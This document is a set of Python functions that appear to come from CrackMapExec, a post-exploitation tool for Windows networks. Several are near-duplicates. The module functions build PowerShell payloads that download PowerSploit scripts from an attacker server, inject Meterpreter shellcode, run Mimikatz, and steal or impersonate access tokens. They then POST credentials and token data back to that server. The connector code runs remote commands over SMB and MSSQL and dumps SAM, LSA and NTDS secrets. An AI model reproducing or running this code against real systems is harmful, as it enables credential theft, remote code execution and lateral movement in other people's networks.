def on_admin_login(self, context, connection): #PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode #so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode payload = """ IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1') $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}} $SumTest = $False while ($SumTest -eq $False) {{ $GeneratedUri = $CharArray | Get-Random -Count 4 $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) }} $RequestUri = -join $GeneratedUri $Request = "{}://{}:{}/$($RequestUri)" $WebClient = New-Object System.Net.WebClient [Byte[]]$bytes = $WebClient.DownloadData($Request) Invoke-{} -Force -Shellcode $bytes""".format( context.server, context.localip, context.server_port, 'http' if self.met_payload == 'reverse_http' else 'https', self.lhost, self.lport, self.obfs_name) if self.procid: payload += " -ProcessID {}".format(self.procid) context.log.debug('Payload:{}'.format(payload)) payload = create_ps_command(payload, force_ps32=True) connection.execute(payload) context.log.success('Executed payload')
def on_admin_login(self, context, connection): powah_command = 'Get-NetGroup' if self.group: powah_command += ' -GroupName "{}"'.format(self.group) if self.domain: powah_command += ' -Domain {}'.format(self.domain) powah_command += ' | Out-String' payload = ''' IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1'); $data = {command} $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); $request.Method = 'POST'; $request.ContentType = 'application/x-www-form-urlencoded'; $bytes = [System.Text.Encoding]::ASCII.GetBytes($data); $request.ContentLength = $bytes.Length; $requestStream = $request.GetRequestStream(); $requestStream.Write( $bytes, 0, $bytes.Length ); $requestStream.Close(); $request.GetResponse();'''.format(server=context.server, port=context.server_port, addr=context.localip, command=powah_command) context.log.debug('Payload: {}'.format(payload)) payload = create_ps_command(payload) connection.execute(payload, method='smbexec') context.log.success('Executed payload')
def on_admin_login(self, context, connection): #PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode #so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode payload = """ IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1') $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}} $SumTest = $False while ($SumTest -eq $False) {{ $GeneratedUri = $CharArray | Get-Random -Count 4 $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) }} $RequestUri = -join $GeneratedUri $Request = "{}://{}:{}/$($RequestUri)" $WebClient = New-Object System.Net.WebClient [Byte[]]$bytes = $WebClient.DownloadData($Request) Invoke-{} -Force -Shellcode $bytes""".format(context.server, context.localip, context.server_port, 'http' if self.met_payload == 'reverse_http' else 'https', self.lhost, self.lport, self.obfs_name) if self.procid: payload += " -ProcessID {}".format(self.procid) context.log.debug('Payload:{}'.format(payload)) payload = create_ps_command(payload, force_ps32=True) connection.execute(payload) context.log.success('Executed payload')
def on_admin_login(self, context, connection): payload = """ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1'); $creds = Invoke-{func_name} -Command '{command}'; $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); $request.Method = 'POST'; $request.ContentType = 'application/x-www-form-urlencoded'; $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); $request.ContentLength = $bytes.Length; $requestStream = $request.GetRequestStream(); $requestStream.Write( $bytes, 0, $bytes.Length ); $requestStream.Close(); $request.GetResponse();""".format( server=context.server, port=context.server_port, addr=context.localip, func_name=self.obfs_name, command=self.mimikatz_command, ) context.log.debug("Payload: {}".format(payload)) payload = create_ps_command(payload) connection.execute(payload) context.log.success("Executed payload")
def on_admin_login(self, context, connection): second_stage = ''' [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}; IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format( server=context.server, addr=context.localip, port=context.server_port) context.log.debug(second_stage) #Main payload payload = ''' function Send-POSTRequest {{ [CmdletBinding()] Param ( [string] $data ) $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); $request.Method = 'POST'; $request.ContentType = 'application/x-www-form-urlencoded'; $bytes = [System.Text.Encoding]::ASCII.GetBytes($data); $request.ContentLength = $bytes.Length; $requestStream = $request.GetRequestStream(); $requestStream.Write( $bytes, 0, $bytes.Length ); $requestStream.Close(); $request.GetResponse(); }} IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1'); $tokens = Invoke-{obfs_func} -Enum; foreach ($token in $tokens){{ if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{ $token_desc = $token | Select-Object Domain, Username, ProcessId, IsElevated | Out-String; $post_back = "Found token for user " + ($token.Domain + '\\' + $token.Username) + "! `n"; $post_back = $post_back + $token_desc; Send-POSTRequest $post_back Invoke-{obfs_func} -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}"; return }} }} Send-POSTRequest "User token not present on system!"'''.format( obfs_func=self.obfs_name, command=b64encode(second_stage.encode('UTF-16LE')), server=context.server, addr=context.localip, port=context.server_port, user=self.target_user, domain=self.target_domain) context.log.debug(payload) payload = create_ps_command(payload) connection.execute(payload, method='smbexec') context.log.success('Executed payload')
def on_admin_login(self, context, connection): second_stage = ''' [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}; IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server, addr=context.localip, port=context.server_port) context.log.debug(second_stage) #Main payload payload = ''' function Send-POSTRequest {{ [CmdletBinding()] Param ( [string] $data ) $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); $request.Method = 'POST'; $request.ContentType = 'application/x-www-form-urlencoded'; $bytes = [System.Text.Encoding]::ASCII.GetBytes($data); $request.ContentLength = $bytes.Length; $requestStream = $request.GetRequestStream(); $requestStream.Write( $bytes, 0, $bytes.Length ); $requestStream.Close(); $request.GetResponse(); }} IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1'); $tokens = Invoke-{obfs_func} -Enum; foreach ($token in $tokens){{ if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{ $token_desc = $token | Select-Object Domain, Username, ProcessId, IsElevated | Out-String; $post_back = "Found token for user " + ($token.Domain + '\\' + $token.Username) + "! `n"; $post_back = $post_back + $token_desc; Send-POSTRequest $post_back Invoke-{obfs_func} -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}"; return }} }} Send-POSTRequest "User token not present on system!"'''.format(obfs_func=self.obfs_name, command=b64encode(second_stage.encode('UTF-16LE')), server=context.server, addr=context.localip, port=context.server_port, user=self.target_user, domain=self.target_domain) context.log.debug(payload) payload = create_ps_command(payload) connection.execute(payload, method='smbexec') context.log.success('Executed payload')
def on_admin_login(self, context, connection): payload = """ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1'); $WebClient = New-Object System.Net.WebClient; [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}'); Invoke-{func_name} -Force -Shellcode $bytes""".format(server=context.server, port=context.server_port, addr=context.localip, func_name=self.obfs_name, shellcode=os.path.basename(self.shellcode_path)) if self.procid: payload += ' -ProcessID {}'.format(self.procid) context.log.debug('Payload:{}'.format(payload)) payload = create_ps_command(payload, force_ps32=True) connection.execute(payload) context.log.success('Executed payload')
def on_admin_login(self, context, connection): payload = ''' IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1'); $creds = Invoke-{func_name} -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String; $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); $request.Method = 'POST'; $request.ContentType = 'application/x-www-form-urlencoded'; $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); $request.ContentLength = $bytes.Length; $requestStream = $request.GetRequestStream(); $requestStream.Write( $bytes, 0, $bytes.Length ); $requestStream.Close(); $request.GetResponse();'''.format(server=context.server, port=context.server_port, addr=context.localip, func_name=self.obfs_name) context.log.debug('Payload: {}'.format(payload)) payload = create_ps_command(payload) connection.execute(payload) context.log.success('Executed payload')
def connector(target, args, db, module, context, cmeserver): try: smb = SMBConnection(target, target, None, args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = smb.getServerDomain() servername = smb.getServerName() serveros = smb.getServerOS() if not domain: domain = servername db.add_host(remote_ip, servername, domain, serveros) logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)}) logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername, domain)) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if args.mssql: instances = None logger.extra['port'] = args.mssql_port ms_sql = tds.MSSQL(target, args.mssql_port, logger) ms_sql.connect() instances = ms_sql.getInstances(10) if len(instances) > 0: logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): logger.highlight("Instance {}".format(i)) for key in instance.keys(): logger.highlight(key + ":" + instance[key]) try: ms_sql.disconnect() except: pass if args.username and (args.password or args.hash): conn = None if args.mssql and (instances is not None and len(instances) > 0): conn = tds.MSSQL(target, args.mssql_port, logger) conn.connect() elif not args.mssql: conn = SMBConnection(target, target, None, args.smb_port) if conn is None: return if args.domain: domain = args.domain connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver) if (connection.password is not None or connection.hash is not None) and connection.username is not None: if module is not None: module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername}) context = Context(db, module_logger, args) context.localip = local_ip cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, connection) if hasattr(module, 'on_admin_login') and connection.admin_privs: module.on_admin_login(context, connection) else: if connection.admin_privs and (args.pscommand or args.command): get_output = True if args.no_output is False else False if args.mssql: args.exec_method = 'mssqlexec' if args.command: output = connection.execute(args.command, get_output=get_output, method=args.exec_method) if args.pscommand: output = connection.execute(create_ps_command(args.pscommand), get_output=get_output, method=args.exec_method) logger.success('Executed command via {}'.format(args.exec_method)) buf = StringIO(output).readlines() for line in buf: logger.highlight(line.strip()) if args.mssql and args.mssql_query: conn.sql_query(args.mssql_query) query_output = conn.printRows() logger.success('Executed MSSQL query') buf = StringIO(query_output).readlines() for line in buf: logger.highlight(line.strip()) elif not args.mssql: if connection.admin_privs and (args.sam or args.lsa or args.ntds): secrets_dump = DumpSecrets(connection, logger) if args.sam: secrets_dump.SAM_dump() if args.lsa: secrets_dump.LSA_dump() if args.ntds: secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history) if connection.admin_privs and args.wdigest: w_digest = WDIGEST(logger, connection.conn) if args.wdigest == 'enable': w_digest.enable() elif args.wdigest == 'disable': w_digest.disable() if connection.admin_privs and args.uac: UAC(connection.conn, logger).enum() if args.spider: spider = SMBSpider(logger, connection, args) spider.spider(args.spider, args.depth) spider.finish() if args.enum_shares: ShareEnum(connection.conn, logger).enum() if args.enum_lusers or args.enum_disks or args.enum_sessions: rpc_connection = RPCQUERY(connection, logger) if args.enum_lusers: rpc_connection.enum_lusers() if args.enum_sessions: rpc_connection.enum_sessions() if args.enum_disks: rpc_connection.enum_disks() if args.pass_pol: PassPolDump(logger, args.smb_port, connection).enum() if args.enum_users: SAMRDump(logger, args.smb_port, connection).enum() if connection.admin_privs and args.wmi_query: WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query) if args.rid_brute: LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force() except socket.error: return
def connector(target, args, db, module, context, cmeserver): try: smb = SMBConnection(target, target, None, args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('', '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = smb.getServerDomain() servername = smb.getServerName() serveros = smb.getServerOS() if not domain: domain = servername db.add_host(remote_ip, servername, domain, serveros) logger = CMEAdapter( getLogger('CME'), { 'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername) }) logger.info(u"{} (name:{}) (domain:{})".format( serveros, servername.decode('utf-8'), domain.decode('utf-8'))) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if args.mssql: instances = None logger.extra['port'] = args.mssql_port ms_sql = tds.MSSQL(target, args.mssql_port, logger) ms_sql.connect() instances = ms_sql.getInstances(10) if len(instances) > 0: logger.info("Found {} MSSQL instance(s)".format( len(instances))) for i, instance in enumerate(instances): logger.highlight("Instance {}".format(i)) for key in instance.keys(): logger.highlight(key + ":" + instance[key]) try: ms_sql.disconnect() except: pass if args.username and (args.password or args.hash): conn = None if args.mssql and (instances is not None and len(instances) > 0): conn = tds.MSSQL(target, args.mssql_port, logger) conn.connect() elif not args.mssql: conn = SMBConnection(target, target, None, args.smb_port) if conn is None: return if args.domain: domain = args.domain connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver) if (connection.password is not None or connection.hash is not None) and connection.username is not None: if module is not None: module_logger = CMEAdapter( getLogger('CME'), { 'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername }) context = Context(db, module_logger, args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr( module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, connection) if hasattr(module, 'on_admin_login') and connection.admin_privs: module.on_admin_login(context, connection) else: if connection.admin_privs and (args.pscommand or args.command): get_output = True if args.no_output is False else False if args.mssql: args.exec_method = 'mssqlexec' if args.command: output = connection.execute( args.command, get_output=get_output, method=args.exec_method) if args.pscommand: output = connection.execute( create_ps_command(args.pscommand), get_output=get_output, method=args.exec_method) logger.success( 'Executed command {}'.format('via {}'.format( args.exec_method) if args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: logger.highlight(line.strip()) if args.mssql and args.mssql_query: conn.sql_query(args.mssql_query) query_output = conn.printRows() logger.success('Executed MSSQL query') buf = StringIO(query_output).readlines() for line in buf: logger.highlight(line.strip()) elif not args.mssql: if connection.admin_privs and (args.sam or args.lsa or args.ntds): secrets_dump = DumpSecrets(connection, logger) if args.sam: secrets_dump.SAM_dump() if args.lsa: secrets_dump.LSA_dump() if args.ntds: secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history) if connection.admin_privs and args.wdigest: w_digest = WDIGEST(logger, connection.conn) if args.wdigest == 'enable': w_digest.enable() elif args.wdigest == 'disable': w_digest.disable() if connection.admin_privs and args.uac: UAC(connection.conn, logger).enum() if args.spider: spider = SMBSpider(logger, connection, args) spider.spider(args.spider, args.depth) spider.finish() if args.enum_shares: ShareEnum(connection.conn, logger).enum() if args.enum_lusers or args.enum_disks or args.enum_sessions: rpc_connection = RPCQUERY(connection, logger) if args.enum_lusers: rpc_connection.enum_lusers() if args.enum_sessions: rpc_connection.enum_sessions() if args.enum_disks: rpc_connection.enum_disks() if args.pass_pol: PassPolDump(logger, args.smb_port, connection).enum() if args.enum_users: SAMRDump(logger, args.smb_port, connection).enum() if connection.admin_privs and args.wmi_query: WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query) if args.rid_brute: LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force() except socket.error: return